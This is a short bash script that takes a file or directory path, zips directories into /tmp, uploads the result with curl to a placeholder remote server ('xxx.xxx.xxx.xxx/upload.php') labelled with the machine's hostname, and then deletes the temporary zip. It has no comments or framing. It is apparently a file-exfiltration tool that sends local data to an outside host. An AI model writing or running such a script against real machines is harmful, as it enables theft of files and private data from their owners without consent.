#!/bin/bash path=$1 if [ -f $path ] then curl -F sender=$(hostname) -F file=@$path http://xxx.xxx.xxx.xxx/upload.php echo "" elif [ -d $path ] then slash=$(echo $path | rev) slash=${slash:0:1} if [ $slash == "/" ] then path=${path:0:-1} fi name=`echo $path | rev | cut -d "/" -f 1 | rev` zip -r /tmp/$name.zip $path/* curl -F sender=$(hostname) -F file=@/tmp/$name.zip http://xxx.xxx.xxx.xxx/upload.php rm /tmp/$name.zip echo "" fi